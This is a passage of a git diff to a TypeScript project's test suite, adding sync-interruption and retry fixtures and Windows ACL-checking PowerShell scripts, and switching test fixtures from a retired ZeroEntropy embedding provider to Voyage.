+ const chunks = await engine.executeRaw('SELECT c.id,c.embedding::text AS vector FROM content_chunks c JOIN pages p ON p.id=c.page_id WHERE p.source_id=$1 ORDER BY c.id', [input.sourceId]);
+ const effects = await engine.executeRaw('SELECT kind,state FROM persistence_effects WHERE source_id=$1 ORDER BY kind', [input.sourceId]);
+ const source = await engine.executeRaw('SELECT last_commit,last_sync_at FROM sources WHERE id=$1', [input.sourceId]);
+ const pages = await engine.executeRaw('SELECT id,knowledge_revision,embedding_signature FROM pages WHERE source_id=$1 ORDER BY id', [input.sourceId]);
+ console.log(JSON.stringify({ pid: process.pid, before, changedOptions, afterChangedOptions, result, beforeDrain,
+ after: await requests(), chunks, effects, source, pages, networkCalls, transportCalls }));
+} finally { await disposePersistenceConsumer(engine); await engine.disconnect(); }
diff --git a/test/fixtures/retrieval-quality/relational/corpus.ts b/test/fixtures/retrieval-quality/relational/corpus.ts
index 728a1a3d80..4a43dbd586 100644
--- a/test/fixtures/retrieval-quality/relational/corpus.ts
+++ b/test/fixtures/retrieval-quality/relational/corpus.ts
@@ -80,7 +80,7 @@ function pageType(slug: string): 'company' | 'person' {
// so vector search can't connect entities anyway — but the pages must carry a
// chunk to be searchable at all. Body text stays generic + cross-mention-free.
// `dim` MUST match the schema's embedding column, which tracks the configured
-// gateway default (1280 ZE / 1536 OpenAI) and can shift with shard order —
+// gateway default (1024 Voyage / 1536 OpenAI) and can shift with shard order —
// so callers probe the real width via probeEmbeddingDim rather than hardcode.
function basisEmbedding(slug: string, dim: number): Float32Array {
let h = 0;
@@ -97,7 +97,7 @@ export const relationalBasisEmbedding = basisEmbedding;
* Probe the actual `content_chunks.embedding` column width. pgvector stores
* the dimension in `atttypmod` directly. Tests must size fixtures to this, not
* a hardcoded 1536 — the column tracks the gateway default and a prior test in
- * the same shard can leave it at 1280 (ZE). Mirrors pglite-engine.test.ts.
+ * the same shard can leave it at 1024 (Voyage). Mirrors pglite-engine.test.ts.
*/
export async function probeEmbeddingDim(engine: BrainEngine): Promise<number> {
const db = (engine as unknown as { db: { query: (sql: string) => Promise<{ rows: Array<{ atttypmod: number }> }> } }).db;
diff --git a/test/fixtures/serve-sync-claim-barrier.ts b/test/fixtures/serve-sync-claim-barrier.ts
new file mode 100644
index 0000000000..af1db63d53
--- /dev/null
+++ b/test/fixtures/serve-sync-claim-barrier.ts
@@ -0,0 +1,20 @@
+import { writeFileSync } from 'node:fs';
+import { PGLiteEngine } from '../../src/core/pglite-engine.ts';
+import type { BrainEngine } from '../../src/core/engine.ts';
+import type { WriteRequest } from '../../src/core/persistence/model.ts';
+
+const marker = process.env.GBRAIN_TEST_SYNC_CLAIM_BARRIER;
+if (!marker) throw new Error('The sync claim barrier requires an isolated marker path.');
+const transaction = PGLiteEngine.prototype.transactionDirect;
+let stopped = false;
+PGLiteEngine.prototype.transactionDirect = async function<T>(fn: (engine: BrainEngine) => Promise<T>): Promise<T> {
+ const result = await transaction.call(this, fn) as T;
+ const row = result as WriteRequest | null;
+ if (!stopped && row?.state === 'running' && row.source_id === 'workspace' && row.slug === 'topics/note-0003'
+ && row.intent?.kind === 'managed_sync_import' && typeof row.intent.runId === 'string') {
+ stopped = true;
+ writeFileSync(marker, JSON.stringify({ requestId: row.request_id, runId: row.intent.runId }), { flag: 'wx', mode: 0o600 });
+ await new Promise<never>((_, reject) => setTimeout(() => reject(new Error('The sync claim barrier was not interrupted.')), 120_000));
+ }
+ return result;
+};
diff --git a/test/fixtures/windows-backup-cmdlet-protect.ps1 b/test/fixtures/windows-backup-cmdlet-protect.ps1
new file mode 100644
index 0000000000..bf4bc69b46
--- /dev/null
+++ b/test/fixtures/windows-backup-cmdlet-protect.ps1
@@ -0,0 +1,33 @@
+
+$ErrorActionPreference = 'Stop'
+$path = $env:GBRAIN_BACKUP_PRIVATE_PATH
+$directory = $env:GBRAIN_BACKUP_PRIVATE_KIND -eq 'directory'
+$user = [System.Security.Principal.WindowsIdentity]::GetCurrent().User
+$sids = @($user.Value, 'S-1-5-18' | Select-Object -Unique)
+$item = Get-Item -LiteralPath $path -Force
+if (($item.Attributes -band [IO.FileAttributes]::ReparsePoint) -ne 0 -or $item.PSIsContainer -ne $directory) { throw 'Unexpected path type' }
+if ($directory) {
+ if ([IO.Directory]::GetFileSystemEntries($path).Length -ne 0) { throw 'Directory is not empty' }
+ $acl = New-Object System.Security.AccessControl.DirectorySecurity
+ $inheritance = [System.Security.AccessControl.InheritanceFlags]'ContainerInherit, ObjectInherit'
+} else {
+ if ($item.Length -ne 0) { throw 'File is not empty' }
+ $acl = New-Object System.Security.AccessControl.FileSecurity
+ $inheritance = [System.Security.AccessControl.InheritanceFlags]::None
+}
+$acl.SetOwner($user)
+$acl.SetAccessRuleProtection($true, $false)
+foreach ($sid in $sids) {
+ $identity = [System.Security.Principal.SecurityIdentifier]::new($sid)
+ $rule = [System.Security.AccessControl.FileSystemAccessRule]::new($identity, [System.Security.AccessControl.FileSystemRights]::FullControl, $inheritance, [System.Security.AccessControl.PropagationFlags]::None, [System.Security.AccessControl.AccessControlType]::Allow)
+ $acl.AddAccessRule($rule)
+}
+Set-Acl -LiteralPath $path -AclObject $acl
+$actual = Get-Acl -LiteralPath $path
+if (!$actual.AreAccessRulesProtected -or $actual.GetOwner([System.Security.Principal.SecurityIdentifier]).Value -ne $user.Value) { throw 'Owner or inheritance mismatch' }
+$rules = @($actual.GetAccessRules($true, $true, [System.Security.Principal.SecurityIdentifier]))
+if ($rules.Count -ne $sids.Count) { throw 'Unexpected access rules' }
+foreach ($rule in $rules) {
+ if ($rule.IsInherited -or $sids -notcontains $rule.IdentityReference.Value -or $rule.AccessControlType -ne 'Allow' -or $rule.FileSystemRights -ne 'FullControl' -or $rule.InheritanceFlags -ne $inheritance -or $rule.PropagationFlags -ne 'None') { throw 'Access rule mismatch' }
+}
+[Console]::Write('private')
diff --git a/test/fixtures/windows-backup-dotnet-inspect.ps1 b/test/fixtures/windows-backup-dotnet-inspect.ps1
new file mode 100644
index 0000000000..181885e972
--- /dev/null
+++ b/test/fixtures/windows-backup-dotnet-inspect.ps1
@@ -0,0 +1,16 @@
+$ErrorActionPreference = 'Stop'
+$path = $env:GBRAIN_TEST_ACL_PATH
+$attributes = [IO.File]::GetAttributes($path)
+if (($attributes -band [IO.FileAttributes]::ReparsePoint) -ne 0) { throw 'Unexpected reparse point' }
+$a = if (($attributes -band [IO.FileAttributes]::Directory) -ne 0) { [IO.Directory]::GetAccessControl($path) } else { [IO.File]::GetAccessControl($path) }
+$u = [Security.Principal.WindowsIdentity]::GetCurrent().User.Value
+$owner = $a.GetOwner([Security.Principal.SecurityIdentifier]).Value
+$rules = @($a.GetAccessRules($true, $true, [Security.Principal.SecurityIdentifier]))
+$json = [Text.StringBuilder]::new()
+[void]$json.Append('{"user":"').Append($u).Append('","owner":"').Append($owner).Append('","protected":').Append($a.AreAccessRulesProtected.ToString().ToLowerInvariant()).Append(',"rules":[')
+for ($i = 0; $i -lt $rules.Count; $i++) {
+ if ($i -ne 0) { [void]$json.Append(',') }
+ $rule = $rules[$i]
+ [void]$json.Append('{"sid":"').Append($rule.IdentityReference.Value).Append('","inherited":').Append($rule.IsInherited.ToString().ToLowerInvariant()).Append(',"allow":"').Append($rule.AccessControlType.ToString()).Append('","rights":').Append(([int]$rule.FileSystemRights).ToString([Globalization.CultureInfo]::InvariantCulture)).Append(',"inheritance":').Append(([int]$rule.InheritanceFlags).ToString([Globalization.CultureInfo]::InvariantCulture)).Append(',"propagation":').Append(([int]$rule.PropagationFlags).ToString([Globalization.CultureInfo]::InvariantCulture)).Append('}')
+}
+[Console]::Write($json.Append(']}').ToString())
diff --git a/test/github-source-materialize.test.ts b/test/github-source-materialize.test.ts
index 5f64adcdb5..19db96c18e 100644
--- a/test/github-source-materialize.test.ts
+++ b/test/github-source-materialize.test.ts
@@ -366,7 +366,10 @@ describe('github-source materialize', () => {
try {
await insertSource(engine, dir);
await withEnv({ GH_TOKEN: 'test-token' }, async () => {
- await runGitHubSync(engine, 'ghsrc', makeCfg(dir), { sourceId: 'ghsrc', full: true }, fetchImpl);
+ const initial = await runGitHubSync(engine, 'ghsrc', makeCfg(dir), { sourceId: 'ghsrc', full: true }, fetchImpl);
+ expect(initial.status).toBe('first_sync');
+ expect(initial.failedFiles ?? 0).toBe(0);
+ expect(JSON.parse(readFileSync(join(dir, '.github-source.json'), 'utf-8')).last_sweep_at).toBe('2026-08-02T00:00:00Z');
const oldPage = readFileSync(join(dir, 'gh', REPO, '3.md'), 'utf-8');
fx.items.get(3)!.body = 'x'.repeat(5_000_001);
fx.items.get(3)!.updated_at = '2026-08-07T00:00:00Z';
diff --git a/test/helpers/git-publication.ts b/test/helpers/git-publication.ts
new file mode 100644
index 0000000000..2b3bb82bd4
--- /dev/null
+++ b/test/helpers/git-publication.ts
@@ -0,0 +1,31 @@
+import { chmodSync, existsSync, mkdirSync, mkdtempSync, realpathSync, rmSync, writeFileSync } from 'node:fs';
+import { tmpdir } from 'node:os';
+import { join } from 'node:path';
+
+export function git(root: string, ...args: string[]): string {
+ const result = Bun.spawnSync(['git', '-C', root, ...args]);
+ if (result.exitCode) throw new Error(result.stderr.toString());
+ return result.stdout.toString();
+}
+
+export function gitFixture() {
+ const requestedHome = mkdtempSync(join(tmpdir(), 'gbrain-git-publication-'));
+ const home = realpathSync.native(requestedHome);
+ const root = join(home, 'worktree'), remote = join(home, 'remote.git');
+ mkdirSync(root); mkdirSync(remote);
+ git(root, 'init', '-b', 'main');
+ git(root, 'config', 'user.name', 'Example Writer');
+ git(root, 'config', 'user.email', '[email protected]');
+ writeFileSync(join(root, 'initial.md'), 'Initial\n');
+ git(root, 'add', 'initial.md'); git(root, 'commit', '-m', 'Initial');
+ git(remote, 'init', '--bare');
+ git(root, 'remote', 'add', 'origin', remote); git(root, 'push', '-u', 'origin', 'main');
+ const hooks = join(root, '.git', 'hooks');
+ const hook = join(hooks, 'post-commit');
+ writeFileSync(hook, '#!/bin/sh\n# gbrain brain-durability post-commit hook (v0.42.44+)\nexit 99\n');
+ chmodSync(hook, 0o755);
+ mkdirSync(join(root, 'Notes'));
+ const caseInsensitive = existsSync(join(root, 'notes'));
+ return { home, root, requestedRoot: join(requestedHome, 'worktree'), remote, caseInsensitive,
+ cleanup: () => rmSync(home, { recursive: true, force: true }) };
+}
diff --git a/test/helpers/legacy-embedding-preload.ts b/test/helpers/legacy-embedding-preload.ts
index 438f44366c..966c50d404 100644
--- a/test/helpers/legacy-embedding-preload.ts
+++ b/test/helpers/legacy-embedding-preload.ts
@@ -1,23 +1,3 @@
-/**
- * Pre-test setup: opt the gateway into legacy 1536-d / OpenAI defaults
- * so tests written before v0.37 (with hardcoded `new Float32Array(1536)`
- * fixtures) keep working without per-file edits.
- *
- * v0.37 fix wave changed the canonical gateway defaults to
- * `zeroentropyai:zembed-1` / 1280-d (matching the system default chosen
- * in v0.36.0). Tests that don't explicitly configure the gateway
- * previously got 1536-d schemas via the stale `getPGLiteSchema()`
- * default; v0.37 fixed that so the schema tracks the gateway default
- * (1280 out of the box). Tests with 1536-d fixtures need the schema to
- * stay at 1536 — this preload pins it.
- *
- * Imported by `bunfig.toml` via `preload = ["./test/helpers/legacy-embedding-preload.ts"]`.
- *
- * Tests that need a different embedding shape (the new v0.37 tests,
- * future ZE-1280 tests, or specific-provider tests) should call
- * `configureGateway()` explicitly in their own beforeAll, which
- * overwrites this preload.
- */
import {
configureGateway,
getEmbeddingDimensions,
@@ -51,8 +31,8 @@ applyLegacy();
// #3554: make resetGateway() mean "back to this baseline" instead of
// "unconfigured". Without this, a file whose teardown calls resetGateway()
// leaves _config = null; the NEXT file's beforeAll engine-connect then
-// reconfigures from the shipped default (zembed-1 @ 1280) BEFORE the
-// beforeEach below can fire, and the 1280-sized schema rejects the file's
+// reconfigures from the shipped default (voyage-4 @ 1024) BEFORE the
+// beforeEach below can fire, and the 1024-sized schema rejects the file's
// 1536-d fixtures. Which file pairs collide depends on shard bin-packing,
// so adding any test file reshuffles the mines. A factory (not a frozen
// config) so each re-application captures fresh process.env.
@@ -63,10 +43,10 @@ __setGatewayResetBaselineForTests(legacyGatewayConfig);
// hooks; this fires before every test in every file in the shard.
//
// Tests that need a different gateway config (the new v0.37 tests,
-// future ZE-1280 tests) call `configureGateway()` in their own
+// provider-shape tests) call `configureGateway()` in their own
// beforeAll AFTER this beforeEach runs. Order is:
// 1. legacy preload beforeEach → applyLegacy (1536)
-// 2. file-local beforeAll → may overwrite to ZE/1280
+// 2. file-local beforeAll → may overwrite to Voyage/1024
// Since beforeAll runs once per file BEFORE the first beforeEach,
// file-local beforeAll wins for that file's tests. ✓
beforeEach(() => {
diff --git a/test/helpers/managed-atom-regressions.ts b/test/helpers/managed-atom-regressions.ts
index 3207f58ff6..6bbbe8f350 100644
--- a/test/helpers/managed-atom-regressions.ts
+++ b/test/helpers/managed-atom-regressions.ts
@@ -21,6 +21,44 @@ import { exerciseManagedAtomAuthority } from './managed-atoms-contract.ts';
export const retryStates = ['failed', 'conflict', 'committed'] as const;
export const retryEdits = ['unchanged', 'before_retry', 'after_validation', 'before_admission', 'after_admission'] as const;
+export async function exerciseAtomRetrySourceIsolation(engine: BrainEngine): Promise<void> {
+ const priorSource = 'fence-committed-before-admission';
+ let phase: 'hold' | 'drain' | 'done' = 'hold';
+ let pendingRetryId = '';
+ const observe = (target: BrainEngine): BrainEngine => new Proxy(target, {
+ get(current, key) {
+ if (key === 'transaction' || key === 'transactionDirect') {
+ return async <T>(fn: (tx: BrainEngine) => Promise<T>) => current[key](tx => fn(observe(tx)));
+ }
+ if (key === 'executeRaw') return async (sql: string, args?: unknown[]) => {
+ if (sql.includes('SELECT r.* FROM persistence_requests r') && sql.includes('FOR UPDATE OF r SKIP LOCKED')) {
+ if (phase === 'hold') {
+ const failed = await current.executeRaw("SELECT id FROM persistence_requests WHERE source_id=$1 AND intent ? 'checkpointKey' AND intent->>'kind'='managed_atom_page' AND state='conflict'", [priorSource]);
+ if (failed.length) return [];
+ }
+ if (phase === 'drain') {
+ const pending = await current.executeRaw("SELECT id FROM persistence_requests WHERE id=$1::uuid AND state IN ('queued','running')", [pendingRetryId]);
+ if (pending.length) return current.executeRaw(sql.replace("WHERE r.state='queued'", "WHERE r.source_id=$3 AND r.state='queued'"), [...args!, priorSource]);
+ phase = 'done';
+ }
+ }
+ return current.executeRaw(sql, args);
+ };
+ const value = Reflect.get(current, key);
+ return typeof value === 'function' ? value.bind(current) : value;
+ },
+ });
+ const observedEngine = observe(engine);
+ await exerciseAtomRetryFence(observedEngine, 'committed', 'before_admission');
+ const pending = await engine.executeRaw<{ id: string; kind: string }>("SELECT id,intent->>'kind' AS kind FROM persistence_requests WHERE source_id=$1 AND intent ? 'checkpointKey' AND state='queued' ORDER BY sequence", [priorSource]);
+ expect(pending.map(row => row.kind)).toEqual(['managed_atom_page', 'managed_atom_complete']);
+ pendingRetryId = pending[0].id;
+ phase = 'drain';
+ await exerciseAtomRetryFence(observedEngine, 'committed', 'after_admission');
+ expect<string>(phase).toBe('done');
+ expect(await engine.executeRaw('SELECT state FROM persistence_requests WHERE id=$1::uuid', [pendingRetryId])).toEqual([{ state: 'committed' }]);
+}
+
export async function exerciseAtomRetryFence(engine: BrainEngine, state: typeof retryStates[number], edit: typeof retryEdits[number]): Promise<void> {
const home = mkdtempSync(join(tmpdir(), 'gbrain-atom-retry-fence-'));
const sourceId = `fence-${state}-${edit.replaceAll('_', '-')}`;
@@ -54,7 +92,8 @@ export async function exerciseAtomRetryFence(engine: BrainEngine, state: typeof
get(current, key) {
if (key === 'addLinksBatch') return async (...args: Parameters<BrainEngine['addLinksBatch']>) => {
const links = args[0];
- if (!retrying && !failureInjected && links.some(link => link.to_slug === slugs.at(-1))) {
+ if (!retrying && !failureInjected && links.some(link => link.to_slug === slugs.at(-1)
+ && link.from_source_id === sourceId && link.to_source_id === sourceId)) {
failureInjected = true;
if (state === 'conflict') throw new OperationError('revision_conflict', 'Fixture publication conflict');
throw new Error('Fixture publication failure');
diff --git a/test/helpers/persistence-sync-interruption.ts b/test/helpers/persistence-sync-interruption.ts
new file mode 100644
index 0000000000..d982d6c8d8
--- /dev/null
+++ b/test/helpers/persistence-sync-interruption.ts
@@ -0,0 +1,28 @@
+import type { BrainEngine } from '../../src/core/engine.ts';
+import type { SyncOpts } from '../../src/commands/sync.ts';
+import { performManagedSync } from '../../src/core/persistence/sync-run.ts';
+
+export async function interruptAfterSyncDiscovery(engine: BrainEngine, opts: SyncOpts) {
+ const abort = new AbortController(), transaction = engine.transaction;
+ let discovered = false;
+ engine.transaction = async function (this: BrainEngine, run: (tx: BrainEngine) => Promise<unknown>) {
+ let saved = false;
+ const value = await transaction.call(this, async tx => {
+ const execute = tx.executeRaw;
+ tx.executeRaw = async function (this: BrainEngine, sql: string, params?: unknown[]) {
+ const rows = await execute.call(this, sql, params);
+ if (sql.includes('INSERT INTO op_checkpoints') && params?.[0] === 'managed-sync') saved = true;
+ return rows;
+ } as BrainEngine['executeRaw'];
+ try { return await run(tx); }
+ finally { tx.executeRaw = execute; }
+ });
+ if (saved) { discovered = true; abort.abort(); }
+ return value;
+ } as BrainEngine['transaction'];
+ try {
+ const result = await performManagedSync(engine, { ...opts, signal: abort.signal });
+ if (!discovered) throw new Error('The sync discovery transaction did not commit');
+ return result;
+ } finally { engine.transaction = transaction; }
+}
diff --git a/test/helpers/provider-env.ts b/test/helpers/provider-env.ts
index f9f170531c..048394e488 100644
--- a/test/helpers/provider-env.ts
+++ b/test/helpers/provider-env.ts
@@ -17,7 +17,7 @@ export const PROVIDER_ENV_KEYS = [
'OPENAI_API_KEY', 'OPENAI_BASE_URL', 'OPENAI_ORG_ID', 'OPENAI_PROJECT',
'OPENROUTER_API_KEY', 'OPENROUTER_BASE_URL', 'OPENROUTER_REFERER', 'OPENROUTER_TITLE',
'PERPLEXITY_API_KEY', 'TOGETHER_API_KEY', 'VOYAGE_API_KEY',
- 'ZEROENTROPY_API_KEY', 'ZHIPUAI_API_KEY',
+ 'ZHIPUAI_API_KEY',
] as const;
type Env = Readonly<Record<string, string | undefined>>;
diff --git a/test/helpers/with-env.ts b/test/helpers/with-env.ts
index 5b2253c810..20d8f97466 100644
--- a/test/helpers/with-env.ts
+++ b/test/helpers/with-env.ts
@@ -78,7 +78,7 @@ export async function withEnv<T>(
* A fresh empty temp dir for `GBRAIN_HOME`, so `loadConfig()` / `configDir()`
* resolve to a directory with no config.json. Pair with a `withEnv` override
* (`GBRAIN_HOME: emptyHome()`) on any "no key" assertion: `hasAnthropicKey()`
- * and the ZE/embedding key probes read BOTH the env var AND the gbrain config
+ * and the Voyage/embedding key probes read BOTH the env var AND the gbrain config
* file, so clearing only the env var is NOT hermetic on a dev machine whose
* real `~/.gbrain/config.json` holds a key — the assertion flips and the test
* fails locally while passing in key-less CI. The dir is tiny and intentionally
diff --git a/test/hybrid-reranker-skipped.serial.test.ts b/test/hybrid-reranker-skipped.serial.test.ts
index 85e4622832..f2de51c2c0 100644
--- a/test/hybrid-reranker-skipped.serial.test.ts
+++ b/test/hybrid-reranker-skipped.serial.test.ts
@@ -22,7 +22,6 @@ const {
resetGateway,
__setEmbedTransportForTests,
__setRerankTransportForTests,
- _resetSunsetWarningsForTest,
} = await import('../src/core/ai/gateway.ts');
const { PGLiteEngine } = await import('../src/core/pglite-engine.ts');
@@ -75,7 +74,6 @@ afterEach(() => {
afterAll(async () => {
__setEmbedTransportForTests(null);
__setRerankTransportForTests(null);
- _resetSunsetWarningsForTest();
resetGateway();
if (savedGbrainHome === undefined) delete process.env.GBRAIN_HOME;
else process.env.GBRAIN_HOME = savedGbrainHome;
@@ -107,8 +105,7 @@ async function run(query: string): Promise<{ results: SearchResult[]; meta: Hybr
describe('balanced search without VOYAGE_API_KEY (v0.48.2)', () => {
test('stamps reranker_skipped (no_key) on meta, keeps results, prints nothing', async () => {
configure(false);
- _resetSunsetWarningsForTest();
- let rerankCalls = 0;
+ let rerankCalls = 0;
__setRerankTransportForTests(async () => {
rerankCalls++;
return new Response(JSON.stringify({ results: [] }), { status: 200 });
@@ -129,8 +126,7 @@ describe('balanced search without VOYAGE_API_KEY (v0.48.2)', () => {
test('fresh cached-wrapper searches retain reranker_skipped metadata with effective cache disabled', async () => {
configure(false);
- _resetSunsetWarningsForTest();
- __setRerankTransportForTests(async () => new Response(JSON.stringify({ results: [] }), { status: 200 }));
+ __setRerankTransportForTests(async () => new Response(JSON.stringify({ results: [] }), { status: 200 }));
await engine.executeRaw('DELETE FROM query_cache');
await engine.setConfig('search.cache.enabled', 'true');
for (let attempt = 0; attempt < 2; attempt++) {
diff --git a/test/incremental-chunking.test.ts b/test/incremental-chunking.test.ts
index 4810cf92ee..8511c848fa 100644
--- a/test/incremental-chunking.test.ts
+++ b/test/incremental-chunking.test.ts
@@ -198,7 +198,6 @@ export function gamma(p: number[], q: number[], r: number[]): number {
// real provider; embedBatch would throw and leave embedding NULL.
await withEnv({
OPENAI_API_KEY: undefined,
- ZEROENTROPY_API_KEY: undefined,
OPENROUTER_API_KEY: undefined,
}, async () => {
const r = await importCodeFile(engine, filePath, shifted, {});
diff --git a/test/ingestion/put-page-write-through.test.ts b/test/ingestion/put-page-write-through.test.ts
index 7623981ade..70c7a9bacb 100644
--- a/test/ingestion/put-page-write-through.test.ts
+++ b/test/ingestion/put-page-write-through.test.ts
@@ -47,9 +47,9 @@ beforeEach(async () => {
// CI fix: put_page's handler at src/core/operations.ts:622 computes
// `noEmbed = !isAvailable('embedding')`. When the gateway has been
// configured by a sibling test (or by the cli.ts module-load path
- // reading .env.testing) with a fake/stale ZEROENTROPY_API_KEY,
+ // reading .env.testing) with a fake/stale VOYAGE_API_KEY,
// isAvailable returns true → put_page tries to embed → the real
- // ZeroEntropy API returns 401 in CI. This test exercises write-through
+ // Voyage API returns 401 in CI. This test exercises write-through
// behavior, not embedding. Reset the gateway so isAvailable returns
// false → noEmbed=true → no network call.
resetGateway();
diff --git a/test/init-env-detection.test.ts b/test/init-env-detection.test.ts
index 86773ed051..0f2fb5cfa8 100644
--- a/test/init-env-detection.test.ts
+++ b/test/init-env-detection.test.ts
@@ -44,14 +44,6 @@ describe('groupReadyByProvider — embedding touchpoint', () => {
});
});
- test('ZEROENTROPY_API_KEY alone → zeroentropyai is NOT auto-pickable (sunset exclusion)', async () => {
- // v0.46.3: recipes with `sunset` metadata are excluded from auto-pick —
- // a fresh install must not be steered onto a provider that dies on
- // 2026-09-04. Explicit --embedding-model still works (with a warning).
- const got = await groupReadyByProvider('embedding', { ZEROENTROPY_API_KEY: 'ze-test' });
- expect(got.map(p => p.recipeId)).not.toContain('zeroentropyai');
- });
-
test('OPENAI_API_KEY + VOYAGE_API_KEY → both providers in ready list', async () => {
const got = await groupReadyByProvider('embedding', {
OPENAI_API_KEY: 'sk-test',
@@ -66,7 +58,6 @@ describe('groupReadyByProvider — embedding touchpoint', () => {
const got = await groupReadyByProvider('embedding', {
OPENAI_API_KEY: 'sk-test',
VOYAGE_API_KEY: 'pa-test',
- ZEROENTROPY_API_KEY: 'ze-test',
});
const ids = got.map(p => p.recipeId);
const dupes = ids.filter((id, i) => ids.indexOf(id) !== i);
@@ -83,11 +74,11 @@ describe('groupReadyByProvider — embedding touchpoint', () => {
expect(got.map(p => p.recipeId)).not.toContain('anthropic');
});
- test('regression: bug reporter scenario — only OPENAI_API_KEY set → openai picked, ZE not present', async () => {
+ test('regression: bug reporter scenario — only OPENAI_API_KEY set → openai picked, Voyage not present', async () => {
const got = await groupReadyByProvider('embedding', { OPENAI_API_KEY: 'sk-test' });
const ids = got.map(p => p.recipeId);
expect(ids).toContain('openai');
- expect(ids).not.toContain('zeroentropyai');
+ expect(ids).not.toContain('voyage');
});
});
@@ -97,9 +88,9 @@ describe('groupReadyByProvider — chat touchpoint', () => {
expect(got.map(p => p.recipeId)).toContain('openai');
});
- test('ZEROENTROPY_API_KEY alone → no chat ready (ZE has no chat touchpoint)', async () => {
- const got = await groupReadyByProvider('chat', { ZEROENTROPY_API_KEY: 'ze-test' });
- expect(got.map(p => p.recipeId)).not.toContain('zeroentropyai');
+ test('VOYAGE_API_KEY alone → no chat ready (Voyage has no chat touchpoint)', async () => {
+ const got = await groupReadyByProvider('chat', { VOYAGE_API_KEY: 'voyage-test' });
+ expect(got.map(p => p.recipeId)).not.toContain('voyage');
});
test('ANTHROPIC_API_KEY → anthropic chat ready', async () => {
diff --git a/test/init-provider-picker.test.ts b/test/init-provider-picker.test.ts
index 4149996768..7738662cd4 100644
--- a/test/init-provider-picker.test.ts
+++ b/test/init-provider-picker.test.ts
@@ -164,24 +164,7 @@ describe('pickProvider — defensive paths', () => {
});
});
-describe('pickProvider — v0.46.3 sunset filter + canonical default_model', () => {
- test('a sunset-only key offers NO provider rows (ZE filtered out)', async () => {
- // Only ZEROENTROPY_API_KEY set: the sunset filter drops ZE from the
- // offered list, keyless becomes the default choice, and readLineSafe's
- // non-TTY-stdin default ('0' when no keyed provider is ready) returns
- // null → the caller continues keyless.
- let stderr = '';
- const got = await pickProvider({
- touchpoint: 'embedding',
- env: { ZEROENTROPY_API_KEY: 'ze-test' },
- isTTY: true,
- writeStderr: (s) => { stderr += s; },
- probeLocal: async () => ({ reachable: false }),
- });
- expect(got).toBeNull();
- // The dying provider must not be offered as a numbered choice.
- expect(stderr).not.toMatch(/\d\) zeroentropyai/);
- });
+describe('pickProvider — canonical default_model', () => {
test('voyage pick resolves the canonical default_model (voyage-4, not models[0])', async () => {
let stderr = '';
diff --git a/test/init-reranker-default.test.ts b/test/init-reranker-default.test.ts
index 5c0f6a5e9b..8e8f27dfae 100644
--- a/test/init-reranker-default.test.ts
+++ b/test/init-reranker-default.test.ts
@@ -5,7 +5,7 @@
* VOYAGE key present, any keyed embedding pick → NO write (bundle default resolves to it)
* no key, keyed non-voyage pick (openai) → search.reranker.enabled=false
* no key, keyless (resolvedModel undefined) → NO write (recovery re-init contract)
- * zeroentropyai:* pick, no Voyage key → search.reranker.enabled=false (keyed non-Voyage)
+ * google:* pick, no Voyage key → search.reranker.enabled=false (keyed non-Voyage)
* existing explicit reranker choice → NO write (never-clobber)
*/
import { describe, expect, test } from 'bun:test';
@@ -72,10 +72,10 @@ describe('writeNewInstallRerankerDefault (v0.48.2)', () => {
});
});
- test('zeroentropyai pick without a Voyage key is a keyed non-Voyage install → enabled=false (its hosted reranker dies 2026-09-04)', async () => {
+ test('google pick without a Voyage key is a keyed non-Voyage install → enabled=false (no reranker touchpoint)', async () => {
await withEnv({ VOYAGE_API_KEY: undefined, GBRAIN_HOME: emptyHome() }, async () => {
const { engine, writes } = stubEngine();
- await quiet(() => writeNewInstallRerankerDefault(engine, 'zeroentropyai:zembed-1'));
+ await quiet(() => writeNewInstallRerankerDefault(engine, 'google:gemini-embedding-001'));
expect(writes).toEqual([['search.reranker.enabled', 'false']]);
});
});
diff --git a/test/local-install-lifecycle.serial.test.ts b/test/local-install-lifecycle.serial.test.ts
index 153354d8af..567647b242 100644
--- a/test/local-install-lifecycle.serial.test.ts
+++ b/test/local-install-lifecycle.serial.test.ts
@@ -96,7 +96,7 @@ describe('isolated Bun-linked keyless installation lifecycle', () => {
expect(afterUpgrade.some((r: { slug: string; keyword_hit: boolean }) => r.slug === slug && r.keyword_hit)).toBe(true);
expect(JSON.parse(run(['recall', 'people/example', '--json'])).facts.some((f: { fact: string }) => f.fact === fact)).toBe(true);
const doctor = JSON.parse(run(['doctor', '--json']));
- for (const name of ['embedding_width_consistency', 'embedding_column_registry', 'ze_embedding_health', 'provider_sunset']) {
+ for (const name of ['embedding_width_consistency', 'embedding_column_registry']) {
expect(doctor.checks.find((c: { name: string }) => c.name === name)?.status, name).toBe('ok');
}
expect(JSON.parse(readFileSync(join(home, '.gbrain', 'config.json'), 'utf8')).embedding_disabled).toBe(true);
diff --git a/test/longmemeval-embed-cache.test.ts b/test/longmemeval-embed-cache.test.ts
index 7e43e93661..5f14e5e086 100644
--- a/test/longmemeval-embed-cache.test.ts
+++ b/test/longmemeval-embed-cache.test.ts
@@ -321,23 +321,23 @@ describe('installEmbedCache — gateway seam', () => {
test('query-side embeds are cached under the query key, not the document key', async () => {
const cache = new EmbeddingCache(join(dir, 'side.sqlite'));
- // Use an asymmetric provider so the gateway emits input_type (zembed-1's
- // smallest supported Matryoshka dims is 40).
- const ZE_DIMS = 40;
- const real = fakeTransport(ZE_DIMS);
+ // Use an asymmetric provider so the gateway emits input_type (Voyage's
+ // smallest supported Matryoshka dims is 256).
+ const VOYAGE_DIMS = 256;
+ const real = fakeTransport(VOYAGE_DIMS);
configureGateway({
- embedding_model: 'zeroentropyai:zembed-1',
- embedding_dimensions: ZE_DIMS,
- env: { ZEROENTROPY_API_KEY: 'sk-fake' },
+ embedding_model: 'voyage:voyage-4',
+ embedding_dimensions: VOYAGE_DIMS,
+ env: { VOYAGE_API_KEY: 'sk-fake' },
});
const inst = installEmbedCache(cache, { realTransport: real.fn });
- expect(inst.model).toBe('zeroentropyai:zembed-1');
- expect(inst.dims).toBe(ZE_DIMS);
+ expect(inst.model).toBe('voyage:voyage-4');
+ expect(inst.dims).toBe(VOYAGE_DIMS);
await embedQuery('aa');
await embed(['aa']);
expect(real.calls.length).toBe(2); // the two sides never alias
- expect(cache.get('zeroentropyai:zembed-1', ZE_DIMS, 'aa', 'query')).toEqual(vec(2, ZE_DIMS));
- expect(cache.get('zeroentropyai:zembed-1', ZE_DIMS, 'aa', 'document')).toEqual(vec(2, ZE_DIMS));
+ expect(cache.get('voyage:voyage-4', VOYAGE_DIMS, 'aa', 'query')).toEqual(vec(2, VOYAGE_DIMS));
